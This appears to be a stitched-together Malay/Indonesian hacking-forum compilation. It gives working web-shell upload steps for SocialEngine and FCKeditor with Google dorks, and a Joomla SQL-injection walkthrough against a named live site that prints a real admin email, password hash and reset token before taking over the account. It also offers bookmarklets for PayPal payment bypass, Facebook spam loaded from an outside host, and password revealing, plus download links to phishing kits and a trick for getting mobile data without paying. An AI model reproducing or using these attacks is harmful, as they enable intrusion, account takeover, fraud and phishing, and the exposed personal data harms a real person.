Missing Plugin Exploit

Google Dork: inurl:"user/auth/forgot"

[~] Step 1 : Find A social network using the Social Engine with MUSIC PLUGIN
[~] Step 2: Register A Fake Account
[~] Step 3: Click On Music Link in the menu or go to http://www.target.com/music
[~] Step 4: Click On Upload Music And Then Fill the Playlist info
[~] Step 5: Click On Add Music And Select The php file ( If you cansee php file in the upload window type *.* in the file name ).
[~] Step 6: And Click on save music to playlist
[~] Step 7: You Will See the Music Player Move the Cursor on the phpfilename and copy the link of the shell.Generaly it will be
http://www.target.com/public/music_song/1000000/[numbers]/[user_id]/[some_numbers].php

Bersama NoEntryPhc lagi..=)

[»] Dork : [ "Powered by SMF 1.1.15" ]

################################################## #########################
1. Go to url : http://Target/FCKeditor/editor/filem.../connector.php

2. SELECT You'r Shell and Click OK.

3. Formats can be uploaded (Php6,Jpg,gif,Xml,...)

4. Uploaded File Location : Target.com/tp-images/File/File Name


===[ Exploit ]===

[»] http://Target/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Hacking Joomla Tutorial By KHC

inurl:"option com_artforms" site:.org

jangan malas mencari -_- di google :D

kita dapat target yaitu :

http://www.avaclean.com/

di exploid
ni kodenya di paste ke target tadi ya :D

/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,passw
ord)+from+jos_users--


ntar jadi nya kyak gini

http://sitetarget.com//index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,passw
ord)+from+jos_users--

disitu udah kelihatan emailnya

josh@bkmediagroup.comadminjosh@bkmediagroup.com:josh@bkmediagroup.com4fffa8274459e218833756e3149ab20d:jWtEsQNqFQPZchh86w
vmnO3XIlTOwZ9P

nah open tab lagi ya kk mastah :)

terus
copy code reset pass ini

/index.php?option=com_user&view=
reset

terus masukin kode reset paswordnya menjadi seperti ini :

http://www.avaclean.com//index.php?option=com_user&view=
reset

setelah itu disuruh masukin email nantinya

masukin email yg kita dapat tadi
yaitu

josh@bkmediagroup.com

setelah di enter
anda disuruh masukin code :

kita tinggalin dulu yg ini
kita cari kode tsb di
web yg kita exploid tadi

open tab lagi neh untuk ngambil token nya :)

masukan code ini :

/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from
+jos_users

ntar jadi nya gini

http://sitetarget.com//index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from
+jos_users

code nya :

admineda7d6142fac40a533b56407a
4617371

nah kita kembali ke halaman reset tadi

kita masukin aja token yang ini

eda7d6142fac40a533b56407a46173
71

truss enter :)) eehhh minta password baru dech dia :D

uppzzzzz kita masukin aja dech password kita :))

setelah udah masukin

kita masuk ke halaman admin nya

contoh :

http://sitetarget.com/
administrator

nah masukin user nya :) & password kita :D

Cara-cara menonton Star Wars di Cmd

1. Pertama sekali, bagi pengguna Windows XP anda hanya perlu terus mengikuti langkah 2. Manakala, bagi pengguna Windows Vista &Windows 7 anda perlu melakukan perkara ini dahulu.

Pergi ke Start Menu > Control Panel > Uninstall A Program di bawah kategori Programs.

Pada ruangan panel di sebelah kiri pilih Turn windows on or off. Lihat rajah A.

Kemudian tick pada Telnet Client dan Telnet Server. Klik OK.

Restart Komputer


2. Selepas itu, buka RUN dan taip CMD ( Tekan Logo Windows & huruf R serentak di keyboard anda) ataupun taip CMD diSearch programs and files pada Start Menu.


3. Setelah Command Prompt (CMD) tersebut terpapar, Anda dikehendaki taip
telnet towel.blinkenlights.nl dan tekan Enter.

4. Tunggu dan lihat hasilnya.

5.Cara Window XP pLak,korang just Copy "telnet towel.blinkenlights.nl" N then paste aT CMD...
korang tunggu jew lar movie 2 Start....

6.5. Cubalah dan semoga berjaya.

Javascript Colletion

All javascript nih aku bertungkus lumus mencari :D lawl ! nah , gunakan nya dengan sebaik mungkin.

Amaran !
Hanya sesetengah version firefox sahaja yang membenarkan javascript ! Untuk pengguna google chrome , jangan lupa taip '' javascript: '' kat depan , sebab ia akan auto hilang



PayPal (hack paypal , bila jumpa aper2 webs yang kena bayar ngan paypal , guna link nih)
javascript:top.location=document.getElementsByName('return')[0].value; javascript:void(0);


Edit Website (aku pasti korang penah guna :D)
javascript:document.body.contentEditable='true'; document.designMode='on'; void (0);


Page's Destroyer (gunakannya dengan baik)
javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.app


Calculator (calculator , nombor dalam tuh boleh edit :D)
javascript: alert(12345=12345-12345);


Dancing / Floating Images (disco in the browser !)
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);


Shaking Browser Window (waa ~ aku poning)
javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0);} } }} Shw(6)


Reveal Password Behind Asterisk(*****) (guna kan dengan baik yek...)
javascript: alert(document.getElementById('Passwd').value);


Find Spoof Websites (mencari website asal , camner nak terangkan ekk ???)
javascript:alert("The actual URL is:\t\t" + location.protocol + "//" + location.hostname + "/" + "\nThe address URL is:\t\t" + location.href + "\n" + "\nIf the server names do not match, this may be a spoof.");


Select All Facebook Friend (simple but nice , boleh select all dalam game atau dimana2 yang memerlukan friend didalam facebook sahaja !)
javascript:fs.select_all()


Facebook Flooder (boleh spam mengespam , tapi ingat ! gunakan dengan betul)
javascript:(a = (b = document).createElement("script")).src = "//xenonime.com/tools/wew.js", b.body.appendChild(a); void(0);


Play Angry Birds on any website ( yuu hui ! boleh main angry bird :D)
javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://www.nokia.com.ar/NOKIA_ARGENTINA_78/Campaigns/PotenciaTuExperiencia/games/angryBirds/angrybirds.js?201111021138';void(0);


Facebook hidden pages's content (mencari hidden pages dalam facebook fanpages)
javascript:(function(){for(var%20t=document.getElementsByTagName("*"),l=t.length;l--;){t[l].style.visibility=""}}())


Picture will up and down (syok jugak , memeningkan mata korang :D)
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200;DI=document.getElementsByTagName("img"); DIL=DI.length;function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute';DIS.left=(Math.sin(R*1+i*x2+x3)*x1+x2)+"px";DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',50); void(0);

XJZ Survey Remover [Edited]
javascript:(function(){"[url]http://survey-remover.com/[/url]";var rs=function(){var q=function(min,max){return Math.floor(Math.random()*(max-min+1))+min};var n=[];for(var r=0;r0&&x-j<99999;j--){window["clear"+timers[i]](j)}})();(function(){var op=rs();xc.push(op);window[op]=window["set"+timers[i]];window["set"+timers[i]]=function(){};for(var j in window){try{if(typeof window[j]=="function"){if(xc.indexOf(j)==-1){if((window[j]+"").indexOf("function set"+timers[i]+"() {")!=-1){window[j]=function(){}}"}"}}}catch(e){}}})()}window[xc[0]](function(){window["set"+timers[0]]=window[xc[0]];window["set"+timers[1]]=window[xc[1]];var xjz={version:"3.0",domain:"http://survey-remover.com/",id:"B4eb3e1384a1be"};varscTO=window.setTimeout(function(){window.alert("It appears that the server could not be reached. Please try to use the bookmarklet again later!\n"+xjz.domain+"\n\nIf there is a problem with the site, you can check for the latest information on the Facebook page:\nhttp://www.facebook.com/XJZ.Survey.Remover")},10000);var a=document.createElement("script");a.type="text/javascript";a.src=xjz.domain.replace("//","//public.")+"remover/?injection="+xjz.version;a.onload=function(){window.clearTimeout(scTO)};window.document.getElementsByTagName("head")[0].appendChild(a)},110)})();


Amaran !
Hanya sesetengah version firefox sahaja yang membenarkan javascript ! Untuk pengguna google chrome , jangan lupa taip '' javascript: '' kat depan , sebab ia akan auto hilang

FilePhishing(Update)

File Phishing by Muhd Firdaus from PhantomCrews.


PhantomCrews_Maybank2u_BETA.zip

http://www.mediafire.com/?6zi61fkl6d78e6a
_____________________________________________________________

PhantomCrews_YouTube.zip
PhantomCrews_PayPal_Malaysia.zip
PhantomCrews_MOL.zip
PhantomCrews_Habbo.zip
PhantomCrews_Gmail.zip
PhantomCrews_Facebook.zip
[New] PhantomCrews_CiBMall.zip
PhantomCrews_Blogger.zip

http://www.mediafire.com/?gtf7fr7atz2u91p

Free Internet Broadband(Phc)

1. download ultrasurf software kat sini : http://www.ultrareach.com/downloads/ultrasurf/u1004.zip

2. open file download tu --> pilih option --> untick "Start IE automically at start" -->turun bwh nyer pulak n amik Proxy Setting pastu tick Direct Use Ultra Surf PASTU EXIT,

3. Pastu pergi browser option --> connection --> proxy setting. GUNA manual proxy dan pastikan ia ' 127.0.0.1 ' port : 9666.

4. Connect 3G modem cekom --> korang mesti boleh connect walaupun da kene barred @ kredit abes. tapi time tu takley surf je @ die ade ckp YOU HAVE UNSUFFICIENT BALANCE mende ntah bla3 tapi lau kowang da set MANUAL PROXY tadi die tak kuar 5. CONNECT BB anda dan open ultrasurf.... tggu smpi ultrasurf ckp "SUCCESSFULLY CONNECTED TO SERVER"time tu korang da ley surf

5. CONNECT BB anda dan open ultrasurf.... tggu smpi ultrasurf ckp "SUCCESSFULLY CONNECTED TO SERVER"time tu korang da ley surf

Kalau ade MASALAH lagi, sila ikot care2 altenatif lain spt dibawah :>




1. Dalam ultrasurf --> Option --> Proxy Setting --> Manual Proxy Setting.

2. Dalam proxy Host pule isikan "10.128.1.242" dan Proxy port pula "8080"